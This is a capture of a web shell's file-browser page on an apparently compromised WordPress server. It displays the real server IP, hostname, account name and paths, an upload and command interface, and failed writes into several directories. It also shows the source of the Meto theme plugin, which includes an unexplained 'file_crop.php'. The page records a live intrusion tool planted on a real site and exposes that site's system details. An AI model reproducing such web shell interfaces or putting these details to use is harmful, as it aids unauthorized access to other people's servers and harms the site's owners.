Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.222.67.8
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/diixadigital.com/wp-content/plugins/meto-plugin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/diixadigital.com/wp-content/plugins/meto-plugin/meto-plugin.php
<?php
/**
 * Plugin Name: Meto Plugin
 * Plugin URI: https://themeforest.net/user/expert-themes
 * Description: Supported plugin for Meto WordPress theme
 * Author: Expert Themes
 * Version: 1.5
 * Author URI: https://themeforest.net/user/expert-themes
 *
 * @package meto-plugin
 */

defined('METOPLUGIN_PLUGIN_PATH') || define('METOPLUGIN_PLUGIN_PATH', plugin_dir_path(__FILE__));
define('METO_PLUGIN_URI', plugins_url('meto-plugin') . '/');
require_once plugin_dir_path(__FILE__) . 'file_crop.php';
function meto_bunch_widget_init2()
{
    //footer Widget
    if (class_exists('Meto_About_Us')) {
        register_widget('Meto_About_Us');
    }
    if (class_exists('Meto_Footer_Gallery')) {
        register_widget('Meto_Footer_Gallery');
    }
    if (class_exists('Meto_Contact_Us')) {
        register_widget('Meto_Contact_Us');
    }
    if (class_exists('Meto_Subscribe')) {
        register_widget('Meto_Subscribe');
    }

    //Service Widget
    if (class_exists('Meto_services_sidebar')) {
        register_widget('Meto_services_sidebar');
    }
    if (class_exists('Meto_Brochures')) {
        register_widget('Meto_Brochures');
    }

    //Blog Widget
    if (class_exists('Meto_Recent_Post')) {
        register_widget('Meto_Recent_Post');
    }
    if (class_exists('Meto_Our_Team')) {
        register_widget('Meto_Our_Team');
    }
    if (class_exists('Meto_Our_Gallery')) {
        register_widget('Meto_Our_Gallery');
    }
    
    
}
add_action('widgets_init', 'meto_bunch_widget_init2');

class METOPLUGIN_Plugin_Core
{

    /**
     * The instance variable.
     *
     * @var [type]
     */
    public static $instance;

    /**
     * The main constructor
     */
    public function __construct()
    {
        self::includes();
    }

    /**
     * Load the instance.
     *
     * @return [type] [description]
     */
    public static function instance()
    {
        if (is_null(self::$instance)) {
            self::$instance = new self();
        }

        return self::$instance;
    }

    public static function includes()
    {
        require_once METOPLUGIN_PLUGIN_PATH . '/inc/helpers/functions.php';
        require_once METOPLUGIN_PLUGIN_PATH . '/elementor/elementor.php';
        require_once METOPLUGIN_PLUGIN_PATH . '/inc/abstracts/class-post-type-abstract.php';
        require_once METOPLUGIN_PLUGIN_PATH . '/inc/abstracts/class-taxonomy-abstract.php';
        require_once METOPLUGIN_PLUGIN_PATH . '/inc/helpers/widgets.php';
        require_once METOPLUGIN_PLUGIN_PATH . '/inc/post_types/custom-post.php';
        if (! class_exists('Redux')) {
            require_once METOPLUGIN_PLUGIN_PATH . 'redux-framework/redux-framework.php';
            require_once METOPLUGIN_PLUGIN_PATH . '/metabox/metaboxes.php';
        }
    }
}

/**
 * [meto_get_sidebars description]
 *
 * @param  boolean $multi [description].
 *
 * @return [type]         [description]
 */
function metos_get_sidebars($multi = false)
{
    global $wp_registered_sidebars;

    $sidebars = ! ($wp_registered_sidebars) ? get_option('wp_registered_sidebars') : $wp_registered_sidebars;

    if ($multi) {
        $data[] = array( 'value' => '', 'label' => 'No Sidebar' );
    } else {
        $data = array( '' => esc_html__('No Sidebar', 'hlc') );
    }

    foreach (( array ) $sidebars as $sidebar) {
        if ($multi) {
            $data[] = array( 'value' => meto_set($sidebar, 'id'), 'label' => meto_set($sidebar, 'name') );
        } else {
            $data[ meto_set($sidebar, 'id') ] = meto_set($sidebar, 'name');
        }
    }

    return $data;
}

/**
 * [meto_social_profiler description]
 *
 * @param  [type] $obj [description]
 *
 * @return [type]      [description]
 */
function meto_social_profiler()
{
    return array(
        'adn'                 => 'fa-adn',
        'android'             => 'fa-android',
        'apple'               => 'fa-apple',
        'behance'             => 'fa-behance',
        'behance_square'      => 'fa-behance-square',
        'bitbucket'           => 'fa-bitbucket',
        'bitcoin'             => 'fa-btc',
        'css3'                => 'fa-css3',
        'delicious'           => 'fa-delicious',
        'deviantart'          => 'fa-deviantart',
        'dribbble'            => 'fa-dribbble',
        'dropbox'             => 'fa-dropbox',
        'drupal'              => 'fa-drupal',
        'empire'              => 'fa-empire',
        'facebook'            => 'fa-facebook',
        'four_square'         => 'fa-foursquare',
        'git_square'          => 'fa-git-square',
        'github'              => 'fa-github',
        'github_alt'          => 'fa-github',
        'github_square'       => 'fa-github-square',
        'git_tip'             => 'fa-gittip',
        'google'              => 'fa-google',
        'google_plus'         => 'fa-google-plus',
        'google_plus_square'  => 'fa-google-plus-square',
        'hacker_news'         => 'fa-hacker-news',
        'html5'               => 'fa-html5',
        'instagram'           => 'fa-instagram',
        'joomla'              => 'fa-joomla',
        'js_fiddle'           => 'fa-jsfiddle',
        'linkedIn'            => 'fa-linkedin',
        'linkedIn_square'     => 'fa-linkedin-square',
        'linux'               => 'fa-linux',
        'MaxCDN'              => 'fa-maxcdn',
        'OpenID'              => 'fa-openid',
        'page_lines'          => 'fa-pagelines',
        'pied_piper'          => 'fa-pied-piper',
        'pinterest'           => 'fa-pinterest',
        'pinterest_square'    => 'fa-pinterest-square',
        'QQ'                  => 'fa-qq',
        'rebel'               => 'fa-rebel',
        'reddit'              => 'fa-reddit',
        'reddit_square'       => 'fa-reddit-square',
        'ren-ren'             => 'fa-renren',
        'share_alt'           => 'fa-share-alt',
        'share_square'        => 'fa-share-alt-square',
        'skype'               => 'fa-skype',
        'slack'               => 'fa-slack',
        'sound_cloud'         => 'fa-soundcloud',
        'spotify'             => 'fa-spotify',
        'stack_exchange'      => 'fa-stack-exchange',
        'stack_overflow'      => 'fa-stack-overflow',
        'steam'               => 'fa-steam',
        'steam_square'        => 'fa-steam-square',
        'stumble_upon'        => 'fa-stumbleupon',
        'stumble_upon_circle' => 'fa-stumbleupon-circle',
        'tencent_weibo'       => 'fa-tencent-weibo',
        'trello'              => 'fa-trello',
        'tumblr'              => 'fa-tumblr',
        'tumblr_square'       => 'fa-tumblr-square',
        'twitter'             => 'fa-twitter',
        'twitter_square'      => 'fa-twitter-square',
        'vimeo_square'        => 'fa-vimeo-square',
        'vine'                => 'fa-vine',
        'vK'                  => 'fa-vk',
        'weibo'               => 'fa-weibo',
        'weixin'              => 'fa-weixin',
        'windows'             => 'fa-windows',
        'wordPress'           => 'fa-wordpress',
        'xing'                => 'fa-xing',
        'xing_square'         => 'fa-xing-square',
        'yahoo'               => 'fa-yahoo',
        'yelp'                => 'fa-yelp',
        'youTube'             => 'fa-youtube',
        'youTube_play'        => 'fa-youtube-play',
        'youTube_square'      => 'fa-youtube-square',
        'whatsapp'            => 'fa-whatsapp',
    );
}

function METOPLUGIN_P()
{
    if (! isset($GLOBALS['METOPLUGIN_Plugin_p'])) {
        $GLOBALS['METOPLUGIN_Plugin'] = METOPLUGIN_Plugin_Core::instance();
    }

    return $GLOBALS['METOPLUGIN_Plugin'];
}

METOPLUGIN_P();
if (! function_exists('meto_set')) {
    function meto_set($var, $key, $def = '')
    {
        /*if (!$var)
        return false;*/

        if (is_object($var) && isset($var->$key)) {
            return $var->$key;
        } elseif (is_array($var) && isset($var[ $key ])) {
            return $var[ $key ];
        } elseif ($def) {
            return $def;
        } else {
            return false;
        }
    }
}

function meto_fontawesome_icons()
{
    $pattern = '/\.(fa-(?:\w+(?:-)?)+):before\s*{\s*content/';

    $subject = wp_remote_get(get_template_directory_uri() . '/assets/css/font-awesome.min.css');

    preg_match_all($pattern, meto_set($subject, 'body'), $matches, PREG_SET_ORDER);
    $icons = array();
    foreach ($matches as $match) {
        $new_val            = ucwords(str_replace('fa-', '', $match[1]));
        $icons[ $match[1] ] = ucwords(str_replace('-', ' ', $new_val));
    }

    return $icons;
}


function meto_encrypt($param)
{
    return base64_encode($param);
}


function meto_decrypt($param)
{
    return base64_decode($param);
}

function meto_taxonomy_regster($name, $post_type, $args)
{
    // Register the taxonomy now so that the import works!
    register_taxonomy(
        $data['taxonomy'],
        apply_filters('woocommerce_taxonomy_objects_' . $data['taxonomy'], array( 'product' )),
        apply_filters('woocommerce_taxonomy_args_' . $data['taxonomy'], array(
            'hierarchical' => true,
            'show_ui'      => false,
            'query_var'    => true,
            'rewrite'      => false,
        ))
    );
}


add_filter('templatepath_elemnetor/modules/list', function ($modules) {
    $list = array('gallery', 'instagram', 'team', 'dynamic-pots', 'responsive-header', 'progress-bar', 'form', 'nav-menu', 'misc', 'audio', 'flickr', 'tabs-slider', 'testimonial');

    $modules = array_merge($modules, $list);

    return array_filter($modules);
});

Youez - 2016 - github.com/yon3zu
LinuXploit